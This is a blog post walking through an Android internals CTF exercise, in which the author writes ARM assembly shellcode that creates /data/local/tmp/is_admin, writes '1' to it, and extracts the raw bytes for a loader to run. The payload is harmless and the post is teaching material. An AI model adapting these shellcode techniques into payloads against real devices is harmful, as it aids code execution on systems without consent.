DEV Community

wireless90
wireless90

Posted on • Updated on

Shellcode [Android Internals CTF Ex4]

Get the executable here

  • Your task is to write a shellcode which writes '1' to /data/local/tmp/is_admin.
  • It doesn't have to be null terminated, and be compiled as arm assembly (not thumb).
  • Run a.out with path as a parameter to your shellcode.
  • Do not reverse a.out

Lets first start to inspect the binary.

──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/shellcode]
└─$ chmod +x a.out 

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/shellcode]
└─$ file a.out 
a.out: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /system/bin/linker, with debug_info, not stripped

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/shellcode]
└─$ adb devices            
* daemon not running; starting now at tcp:5037
* daemon started successfully
List of devices attached


┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/shellcode]
└─$ adb push a.out /data/local/tmp
a.out: 1 file pushed. 0.2 MB/s (44596 bytes in 0.176s)
Enter fullscreen mode Exit fullscreen mode

It seems to be an arm 32-bit executable. So I have pushed it to my android device using adb.

So it seems we are not supposed to reverse the binary.

Lets start by writing some arm assembly.

In order to compile assembly for arm, I have downloaded the ndk-tools here.

I want to start writing an assembly template that simply runs and exits.


.section .text
.global _start

_start:

exit:
        mov r0, #0 //any error code
        mov r7, #1 //syscall # for exit
        svc #0


.section .data


Enter fullscreen mode Exit fullscreen mode

The system calls and their arguments can be found here.

The system call number for exit is 1, which we store inside r7. We need to specify an error code as the first argument, which we specified as 0 into r0.

A supervisor call is an instruction sent to a computer's processor that directs it to transfer computer control to the operating system's supervisor program with more priviledges to run the command. This is done through the command svc.

Alright, now that we have a assembly(useless) program, lets compile it. We will be using the assembly compiler, as and the linker, ld.

Lets find these programs.

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/shellcode]
└─$ find ~/Downloads/android-ndk-r21e/. -name "*as"
.
.
. 
/home/razali/Downloads/android-ndk-r21e/./toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/arm-linux-androideabi/bin/as
.
.
.
omitted

Enter fullscreen mode Exit fullscreen mode

There we have found our assembly compiler. The linker is also in the same directory. To make it easier for us, lets create a shell script that will help us compile, link, and push the executable to our android device.

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/shellcode]
└─$ vim commands.sh
Enter fullscreen mode Exit fullscreen mode
export ndk=/home/razali/Downloads/android-ndk-r21e/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/arm-linux-androideabi/bin

$ndk/as shellcode.s -o shellcode.o
$ndk/ld shellcode.o -o shellcode
adb push ./shellcode /data/local/tmp

Enter fullscreen mode Exit fullscreen mode

Now lets compile and push our assembly program.

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/shellcode]
└─$ chmod +x commands.sh

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/shellcode]
└─$ ./commands.sh
./shellcode: 1 file pushed. 0.1 MB/s (4740 bytes in 0.040s)

Enter fullscreen mode Exit fullscreen mode

In our android device, lets run the program.

root@hammerhead:/data/local/tmp # ./shellcode
root@hammerhead:/data/local/tmp # 

Enter fullscreen mode Exit fullscreen mode

Great! No errors.

We need a few system calls to

  • [ ] Create a file
  • [ ] Write '1' to the file
  • [ ] Close the file

Creating a file

The creat system call has the following function prototype.

int creat(const char *pathname, mode_t mode);
Enter fullscreen mode Exit fullscreen mode

The information here says that .
r0 - contains the pointer to the file path. Based on the instructions for this exercise, our file name is is_admin.

r1 - the access modes: O_RDONLY, O_WRONLY, or O_RDWR. These request opening the file read-only, write-only, or read/write, respectively.

In our case, we need O_WRONLY. We can see from here, that O_WRONLY is defined to be 1.

r7 would be 0x08.

ret - The return value would be the file descriptor, and would be stored in r0.

Our assembly code now would look something like,

.section .text
.global _start

_start:

create:
        ldr r0, =filename
        mov r1, #1 //WRITE ONLY
        mov r7, #0x8 //CREAT SYS CALL
        svc #0
exit:
        mov r0, #0 //any error code
        mov r7, #1 //syscall # for exit
        svc #0


.section .data

filename:
        .asciz "is_admin"
Enter fullscreen mode Exit fullscreen mode

Closing the file

  • [X] Create a file
  • [ ] Write '1' to the file
  • [ ] Close the file

Next lets close the file, by calling the syscall close.

The close system call has the following function prototype.

int close(int fd);
Enter fullscreen mode Exit fullscreen mode

The information here says that .

r0 - represents the file descriptor
r7 - 0x06 which represents the close system call

.section .text
.global _start

_start:

create:
        ldr r0, =filename
        mov r1, #1 //WRITE ONLY
        mov r7, #0x8 //CREAT SYS CALL
        svc #0

        //The file descriptor(fd) is returned into the r0 variable.
        //Store the file descriptor to the stack.
        //This way, we can reuse r0 for other functions and when the fd is needed,
        //we simply pop from the stack
        push {r0}

close:
        pop {r0} //pop the file descriptor back
        mov r7, #0x06 //syscall for close
        svc #0

exit:
        mov r0, #0 //any error code
        mov r7, #1 //syscall # for exit
        svc #0


.section .data

filename:
        .asciz "is_admin"

Enter fullscreen mode Exit fullscreen mode

Now lets compile and push our assembly program.

                                                                          ┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/shellcode]
└─$ ./commands.sh
./shellcode: 1 file pushed. 0.1 MB/s (4740 bytes in 0.040s)

Enter fullscreen mode Exit fullscreen mode

In our android device, lets run the program.

root@hammerhead:/data/local/tmp # ./shellcode
root@hammerhead:/data/local/tmp # 
root@hammerhead:/data/local/tmp # ls | grep is_admin                                                                      
is_admin                                                     
root@hammerhead:/data/local/tmp # cat is_admin               
root@hammerhead:/data/local/tmp #   

Enter fullscreen mode Exit fullscreen mode

It successfully created an empty file is_admin.

Writing to the file

  • [X] Create a file
  • [ ] Write '1' to the file
  • [X] Close the file

Next lets write to the file, by calling the syscall write.

The write system call has the following function prototype.

ssize_t write(int fd, const void *buf, size_t count);
Enter fullscreen mode Exit fullscreen mode

The information here says that .

r0 - represents the file descriptor
r1 - represents the buffer which contains the text to write, in our case, we want to write 1
r2 - represents the number of bytes to write, we only need to write 1 character thus 1 byte
r7 - 0x04 which represents the write system call

.section .text
.global _start

_start:

create:
        ldr r0, =filename
        mov r1, #1 //WRITE ONLY
        mov r7, #0x8 //CREAT SYS CALL
        svc #0

        //The file descriptor(fd) is returned into the r0 variable.
        //Store the file descriptor to the stack.
        //This way, we can reuse r0 for other functions and when the fd is needed,
        //we simply pop from the stack
        push {r0}

write:
        mov r0, r0 //r0 already contains the file descriptor
        ldr r1, =toWrite //buffer
        mov r2, #1 //write only 1 byte
        mov r7, #0x04 //syscall for write
        svc #0

close:
        pop {r0} //pop the file descriptor back
        mov r7, #0x06 //syscall for close
        svc #0

exit:
        mov r0, #0 //any error code
        mov r7, #1 //syscall # for exit
        svc #0


.section .data

filename:
        .asciz "is_admin"

toWrite:
        .asciz "1"
Enter fullscreen mode Exit fullscreen mode

Now lets compile and push our assembly program.

                                                             ┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/shellcode]
└─$ ./commands.sh
./shellcode: 1 file pushed. 0.1 MB/s (4740 bytes in 0.040s)

Enter fullscreen mode Exit fullscreen mode

In our android device, lets run the program.

root@hammerhead:/data/local/tmp # cat is_admin                                                                            
1
root@hammerhead:/data/local/tmp #    

Enter fullscreen mode Exit fullscreen mode

Great! We have written to the file!

Generating the shell code

  • [X] Create a file
  • [X] Write '1' to the file
  • [X] Close the file

Our objective is to pass our shellcode to a.out which will read in our shellcode and execute in memory.

Let's try to do that.

root@hammerhead:/data/local/tmp # ./a.out                                                                                 
usage: ./a.out <SHELLCODE_PATH>    

root@hammerhead:/data/local/tmp # ./a.out ./shellcode
executing shellcode
[2] + Stopped (signal)     ./a.out ./shellcode 
[1] - Illegal instruction  ./a.out ./shellcode 

Enter fullscreen mode Exit fullscreen mode

Seems to crash with an Illegal instruction.
What we are passing is the entire elf binary, which is wrong.

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/shellcode]
└─$ xxd shellcode
00000000: 7f45 4c46 0101 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 2800 0100 0000 7480 0000 3400 0000  ..(.....t...4...
00000020: b411 0000 0002 0005 3400 2000 0200 2800  ........4. ...(.
00000030: 0900 0800 0100 0000 0000 0000 0080 0000  ................
00000040: 0080 0000 c800 0000 c800 0000 0500 0000  ................
00000050: 0010 0000 0100 0000 0010 0000 0090 0000  ................
00000060: 0090 0000 0000 0000 0000 0000 0600 0000  ................
00000070: 0010 0000 4400 9fe5 0110 a0e3 0870 a0e3  ....D........p..
00000080: 0000 00ef 0400 2de5 0000 a0e1 3010 9fe5  ......-.....0...
00000090: 0120 a0e3 0470 a0e3 0000 00ef 0400 9de4  . ...p..........
000000a0: 0670 a0e3 0000 00ef 0000 a0e3 0170 a0e3  .p...........p..
000000b0: 0000 00ef 6973 5f61 646d 696e 0031 0000  ....is_admin.1..
000000c0: b480 0000 bd80 0000 0000 0000 0000 0000  ................
000000d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000f0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000100: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000110: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000120: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000130: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000140: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000150: 0000 0000 0000 0000 0000 0000 0000 0000  ................

Enter fullscreen mode Exit fullscreen mode

What we need to do is think in terms of a.out. It is gonna read our shellcode and place it in either the stack or the heap. Then it is probably going to create a function pointer to execute our shell code. When a function is executed, the link register is filled with the return address that the function need to return to after executing.

We thus need to first, put all the code into just one section, lets say the .text section, then remove the exit call. Our code is going to act like a function, thus we do not need the exit. Lastly once our function is done, we are going to branch to whatever the link register is at.

The code would look something like this.

.section .text
.global _start

_start:

create:
        ldr r0, =filename
        mov r1, #1 //WRITE ONLY
        mov r7, #0x8 //CREAT SYS CALL
        svc #0

        //The file descriptor(fd) is returned into the r0 variable.
        //Store the file descriptor to the stack.
        //This way, we can reuse r0 for other functions and when the fd is needed,
        //we simply pop from the stack
        push {r0}

write:
        mov r0, r0 //r0 already contains the file descriptor
        ldr r1, =toWrite //buffer
        mov r2, #1 //write only 1 byte
        mov r7, #0x04 //syscall for write
        svc #0

close:
        pop {r0} //pop the file descriptor back
        mov r7, #0x06 //syscall for close
        svc #0

branch:
        //end of this function, lets branch back
        bx lr


filename:
        .asciz "is_admin"

toWrite:
        .asciz "1"

Enter fullscreen mode Exit fullscreen mode

Now lets compile and push our assembly program.

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/shellcode]
└─$ ./commands.sh
./shellcode: 1 file pushed. 0.1 MB/s (4740 bytes in 0.040s)

Enter fullscreen mode Exit fullscreen mode

Remember the xxd command above? It showed the contents of the shellcode file. We only need the text section.

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/shellcode]
└─$ $ndk/objcopy -O binary --only-section=.text shellcode shellcode.bin
Enter fullscreen mode Exit fullscreen mode
┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/shellcode]
└─$ xxd shellcode.bin
00000000: 4400 9fe5 0110 a0e3 0870 a0e3 0000 00ef  D........p......
00000010: 0400 2de5 0000 a0e1 3010 9fe5 0120 a0e3  ..-.....0.... ..
00000020: 0470 a0e3 0000 00ef 0400 9de4 0670 a0e3  .p...........p..
00000030: 0000 00ef 0000 a0e3 0170 a0e3 0000 00ef  .........p......
00000040: 6973 5f61 646d 696e 0031 0000 b480 0000  is_admin.1......
00000050: bd80 0000 
Enter fullscreen mode Exit fullscreen mode
┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/shellcode]
└─$ adb push shellcode.bin /data/local/tmp
shellcode.bin: 1 file pushed. 0.0 MB/s (84 bytes in 0.029s)
Enter fullscreen mode Exit fullscreen mode

Lets run it in android.

root@hammerhead:/data/local/tmp # ./a.out shellcode.bin                        
executing shellcode
/data/local/tmp/is_admin still contains 0 :(
root@hammerhead:/data/local/tmp # ./a.out shellcode.bin                        
Enter fullscreen mode Exit fullscreen mode

Hmm. The shellcode now seems not properly creating our file or writing our strings.

The problem here is with the ldr load instruction, which we need to change to a relative instruction, adr. More information about it can be found here.

Now our final code looks like this.

.section .text
.global _start

_start:

create:
        adr r0, filename
        mov r1, #1 //WRITE ONLY
        mov r7, #0x8 //CREAT SYS CALL
        svc #0

        //The file descriptor(fd) is returned into the r0 variable.
        //Store the file descriptor to the stack.
        //This way, we can reuse r0 for other functions and when the fd is needed,
        //we simply pop from the stack
        push {r0}

write:
        mov r0, r0 //r0 already contains the file descriptor
        adr r1, toWrite //buffer
        mov r2, #1 //write only 1 byte
        mov r7, #0x04 //syscall for write
        svc #0

close:
        pop {r0} //pop the file descriptor back
        mov r7, #0x06 //syscall for close
        svc #0

branch:
        //end of this function, lets branch back
        bx lr


filename:
        .asciz "is_admin"

toWrite:
        .asciz "1"

Enter fullscreen mode Exit fullscreen mode

Lets compile and push it to android.

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/shellcode]
└─$ ./commands.sh
./shellcode: 1 file pushed. 0.1 MB/s (4740 bytes in 0.040s)


┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/shellcode]
└─$ $ndk/objcopy -O binary --only-section=.text shellcode shellcode.bin

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/shellcode]
└─$ adb push shellcode.bin /data/local/tmp
shellcode.bin: 1 file pushed. 0.0 MB/s (84 bytes in 0.029s)

Enter fullscreen mode Exit fullscreen mode

And lets run it finally in android again.

root@hammerhead:/data/local/tmp # ./a.out shellcode.bin                        
executing shellcode
You did it!
The flag is: "you_got_the_power"
Enter fullscreen mode Exit fullscreen mode

For this excercise, I learnt how to write a simple arm assembly program which creates, writes and closes a file. I also learnt about extracting out the binary file from a elf file which will be used as a shellcode. Lastly, I learnt about the adr command vs the ldr command.

Top comments (1)

Collapse
 
igorganapolsky profile image
Igor Ganapolsky

Your executible is unreachable on Github. Where do we get it?